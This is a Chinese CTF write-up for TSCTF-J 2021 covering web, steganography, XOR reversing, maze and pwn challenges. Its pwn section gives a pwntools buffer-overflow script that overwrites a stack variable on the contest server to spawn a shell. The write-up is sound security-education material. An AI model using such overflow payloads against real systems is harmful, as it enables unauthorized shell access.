1. 程式人生 > 其它 >TSCTFJ2021部分wp

TSCTFJ2021部分wp

水題

Web

  • King of F12
    F12就可以解決的題,沒什麼好講的,跟著提示一步一步走就行:

去CHALLENGE-BUTTONKNIGHT.php,刪除disabled屬性:

按下按鈕得到下一步的提示

測試發現招式的長度=造成傷害。

直接寫入一個足夠長的字串即可得到flag:

Misc

  • EasyImage
    拿到256x144.bmp,先用stegsolve開啟看看。看一眼灰度圖:

可識別白色點狀構成的文字:f(x,y,z) = (11x+45y+14*z)%256,一個函式,暫時不知道是幹什麼的。

得到位深有關的hint,嘗試修改位深為24位:


發現圖片可以正常識別了:

放大觀察可以發現規律性的散點:


使用PS進行測量,可以得出散點位於每個30x30小方塊的(16,16)處。使用matlab對影象進行放縮變換:


嘗試用最開始得到的函式對其進行變換,成功得到flag:

其中matlab使用的程式碼如下:

clear
I = imread('pic.bmp');

for i = 1 : 144
      
  
    for j = 1 : 256
        A(i,j,1) = I(30*i-14,30*j-14,1);
        A(i,j,2) = I(30*i-14,30*j-14,2);
        A(i,j,3) = I(30*i-14,30*j-14,3);  
    end
end

imshow(A)

for i = 1 : 144
    for j = 1 : 256
     B(i,j) = mod(11*double(A(i,j,1))+45*double(A(i,j,2))+
     14*double(A(i,j,3)))    %這裡不轉成double會造成溢位
          
    end
end

imshow(B)
  
  • Gh0stSmile
    使用stegsolve檢視find.png的full red影象,結合out資料夾中的圖片得知這是一張拼圖:

拼!

觀察發現最下方的一行內包含了TSCTF等flag的標誌性字母,根據間隔推測這是一個類似柵欄密碼加密後的flag,n=6,還原可得flag:TSCTF-J{Thanks_for_watching_my_face}

Reverse

  • easyXor
    把exe檔案用IDA開啟,分析可以得知這是一個對輸入進行和i和0xd異或的程式:

找到內建的字串:

直接編寫程式得出flag:

#include<stdio.h>
main(){
&nbsp;&nbsp;&nbsp;&nbsp;int i;
&nbsp;&nbsp;&nbsp;&nbsp;int s[50] = {0x59,0x5f,0x4c,0x5a,0x4f,0x25,0x41,0x71,0x52,
    0x61,0x4b,0x65,0x31,0x4d,0x66,0x5d,0x2f,0x43,0x4b,0x4d,0x5a,
    0x4c,0x5d,0x37,0x5f,0x4b,0x4f,0x26,0x63,0x4f,0x7f,0x61,0x72,
    0x7f,0x1f,0x71,0x6c,0x49,0x78,0x73,0x4,0x5,0x6,0x5b};
&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i < 44; i++)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%c", s[i] ^ i ^ 0xD);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return 0;
}

執行結果:

  • maze_revenge
    從名字上看是迷宮題,發現這個地方看起來很可疑:

進去看:

這應該就是迷宮了,把它整理出來,找到起點和終點:

太大了,用解決迷宮問題的指令碼跑一下,得出最佳路徑:

在程式碼中找到題目要求:

對路徑進行32位md5,轉換成小寫,得到flag:

TSCTF-J{5ddffb589b72f5e9b0478d433f5b49fa}

Pwn

  • Sign_In
    首先用IDA檢視主函式:

程式碼內包含system("/bin/sh"),只需控制程式流執行該語句。發現v5無法用正常方式通過if校驗,嘗試利用fgets進行緩衝區溢位攻擊。

檢視緩衝區和v5之間的距離,0x20-0x4=0x1c,在fgets限制的64以內:

在Ubuntu環境下,檢查程式是否開啟了保護:

那麼可以寫payload如下:

from pwn import *

#p = process('./pwn1')
p=remote("70.34.205.1",11000)

v5 = 0x00000309
payload = 'a'*0x1c + p64(v5)
p.sendline(payload)

p.interactive()

成功獲取到shell以及flag:

</stdio.h>